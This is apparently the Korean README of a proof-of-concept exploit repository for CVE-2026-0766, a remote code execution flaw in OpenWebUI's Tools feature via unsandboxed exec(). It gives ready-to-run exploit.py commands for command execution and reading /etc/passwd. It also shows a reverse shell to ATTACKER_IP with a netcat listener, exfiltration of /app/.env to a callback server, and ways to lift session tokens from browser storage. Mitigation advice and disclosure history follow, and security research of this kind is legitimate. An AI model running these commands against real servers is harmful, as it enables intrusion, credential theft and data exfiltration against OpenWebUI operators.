
CVE-2026-0766에 대한 개념 증명 익스플로잇으로, OpenWebUI의 도구 코드 주입을 통한 원격 코드 실행 취약점입니다. 명령 실행, 파일 읽기, 리버스 셸, 블라인드 데이터 유출 모드를 포함합니다.
교육용 보안 연구 저장소
이 저장소는 ZDI(Zero Day Initiative) 가 발견하고 공개한 OpenWebUI의 원격 코드 실행 취약점인 CVE-2026-0766 에 대한 개념 증명(PoC) 악용 코드를 포함하고 있습니다.
이 저장소는 승인된 보안 테스트 및 교육 목적으로만 사용됩니다.
저자는 이 코드의 오용에 대해 어떠한 책임도 지지 않습니다. 사용자는 자신의 활동이 모든 관련 법률 및 규정을 준수하는지 확인할 전적인 책임이 있습니다.
| 속성 | 값 |
|---|
| CVE ID | CVE-2026-0766 |
| 발견자 | ZDI(Zero Day Initiative) |
| 영향을 받는 소프트웨어 | OpenWebUI |
| 취약점 유형 | 코드 인젝션 (CWE-94) |
| CVSS 점수 | 8.8 HIGH |
| CVSS 벡터 | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 공격 복잡성 | 낮음 (인증된 관리자 또는 도구 생성/업데이트 권한이 있는 사용자가 악용 가능) |
OpenWebUI는 대규모 언어 모델(LLM)을 위한 자체 호스팅 웹 인터페이스입니다. 조직이 자체 인프라에서 실행하여 LLM 대화와 데이터를 온프레미스로 유지할 수 있는 ChatGPT 유사 환경을 제공합니다.
OpenWebUI에는 사용자가 Python 코드를 제출하여 LLM 기능을 확장할 수 있는 "도구(Tools)" 기능이 포함되어 있습니다. 이 코드는 샌드박싱, 검증 또는 보안 제어 없이 Python의 exec() 함수를 통해 서버 측에서 실행됩니다.
악용 흐름:
POST /api/v1/tools/create를 통해 "도구(Tool)"를 생성합니다.content 필드에 저장됩니다.utils/plugin.py에서 exec(content, module.__dict__)를 호출합니다.핵심 통찰: 코드는 LLM이 도구를 호출할 때가 아니라 도구 생성 시점에 실행됩니다. 즉, 악성 도구를 생성하기만 하면 RCE가 트리거되며 추가 상호 작용이 필요하지 않습니다.
이 악용 코드는 다음에서 검증되었습니다:
이 취약점은 구조적(사용자 입력에 대한 안전하지 않은 exec() 사용)이며 OpenWebUI 팀이 보안 패치를 릴리스할 때까지 모든 버전에 존재합니다.
취약점은 backend/open_webui/utils/plugin.py에 존재합니다:
def load_tool_module_by_id(tool_id: str, content: str):
# 최소한의 전처리 (보안 제어가 아님)
content = replace_imports(content)
# 모듈 생성 및 사용자 코드 실행
module = types.ModuleType(f"tool_{tool_id}")
exec(content, module.__dict__) # ← 취약점
return module
replace_imports() 함수는 import 경로만 다시 작성합니다(표면적 처리) - 실행할 수 있는 코드를 제한하지 않습니다. 다음이 없습니다:
OpenWebUI 팀은 처음에 도구 생성에 관리자 권한이 필요하다는 점을 언급하며 이를 낮은 우선순위로 평가했습니다. 그러나:
공급업체가 관리자가 제한된 액세스로 이를 관리해야 한다고 제안한 후, ZDI는 방어자에게 알리기 위해 이를 0-day 취약점(ZDI-26-032)으로 공개했습니다.
저자는 오픈소스 프로젝트 유지의 어려움을 존중합니다. 보안 패치는 사용자 요구, 아키텍처 제약 및 제한된 리소스의 균형을 요구합니다. 이 공개는 보안 팀이 위험을 평가하고 완화 조치를 구현하는 데 도움을 주기 위한 것입니다.
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3
악용 스크립트(exploit.py)는 여러 공격 모드를 지원합니다:
OS 명령을 실행하고 출력을 검색합니다:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"
서버 파일 시스템에서 파일을 읽습니다:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd
리버스 셸을 생성합니다 (netcat 리스너 필요):
# 공격자 머신에서:
nc -lvnp 4444
# 악용 코드 실행:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444
명령 출력을 HTTP 콜백 서버로 전송합니다:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"
스크립트는 JWT 토큰(SSO 로그인에서)과 API 키를 모두 허용합니다:
JWT 토큰 얻기:
token 쿠키 값을 찾습니다Authorization: Bearer ... 헤더를 복사합니다localStorage.getItem("token")을 실행합니다--token eyJhbGci...OpenWebUI를 실행 중이고 즉시 패치할 수 없는 경우:
exec()를 안전한 대안으로 교체:
RestrictedPython 사용권한 검사 추가:
심층 방어:
MIT 라이선스 - 자세한 내용은 LICENSE 파일을 참조하십시오.
이 코드는 교육 및 방어적 보안 목적으로 제공됩니다. 저자는 오용에 대해 책임을 지지 않습니다.
이 취약점은 책임 있는 방식으로 공개되었습니다:
오픈소스 프로젝트에서 보안 취약점을 발견한 경우 책임 있는 공개 관행을 따르고 공개 전에 유지 관리자에게 패치할 시간을 주십시오.
질문 또는 피드백: 이 저장소에 이슈를 열어 주십시오.